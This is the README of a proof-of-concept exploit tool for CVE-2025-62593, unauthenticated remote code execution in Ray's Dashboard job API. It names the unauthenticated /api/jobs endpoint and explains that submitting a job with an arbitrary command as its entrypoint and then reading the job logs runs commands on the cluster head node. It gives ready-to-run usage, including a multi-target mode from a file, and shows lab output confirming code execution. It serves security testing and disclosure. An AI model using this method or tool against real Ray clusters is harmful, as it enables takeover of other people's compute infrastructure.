CVE-2025-62593 — Ray Remote Code Execution (unauthenticated)

Proof-of-concept for CVE-2025-62593, an unauthenticated Remote Code Execution vulnerability in the Ray distributed AI compute engine, abused via browser-based DNS-rebinding attacks. It was added to the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited.

The root cause is a long-standing design decision by the Ray team to run no authentication on critical HTTP endpoints such as /api/jobs and /api/job_agent/jobs. Because of that, an unauthenticated remote attacker can submit a Ray Job whose entrypoint is an arbitrary command, which then executes on the cluster head node — full remote code execution.

This PoC talks to the Ray Dashboard HTTP API directly (no browser/DNS-rebinding needed to demonstrate the underlying bug) and recovers the command output from the job logs.

Impact

• CVSS: Critical (9.8)
• Affected: Ray < 2.52.0 (patch released for this advisory)
• CISA KEV: Yes — active exploitation, remediation deadline enforced
• Exposes the ~200k+ publicly reachable Ray AI clusters to pre-auth RCE

What it does

1. POST /api/jobs/ with an entrypoint that runs your command and captures its stdout/stderr into a temp file, then prints the file back.
2. Polls GET /api/jobs/ until the job reaches a terminal state.
3. Reads GET /api/jobs/<submission_id>/logs and prints the command output.

Usage

# Single target
python3 ray_rce_poc.py --target http://HOST:8265

# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"

# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id

# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json

# Help
python3 ray_rce_poc.py --help

Requires Python 3 stdlib only — no third-party dependencies.

Example (verified against a local Docker lab)

$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)

References

• CISA KEV catalog
• GitHub Security Advisory GHSA-q279-jhrf-cc6v

Disclaimer

For security research and authorized testing only. Use only against systems you own or have explicit permission to test. The author is not responsible for misuse.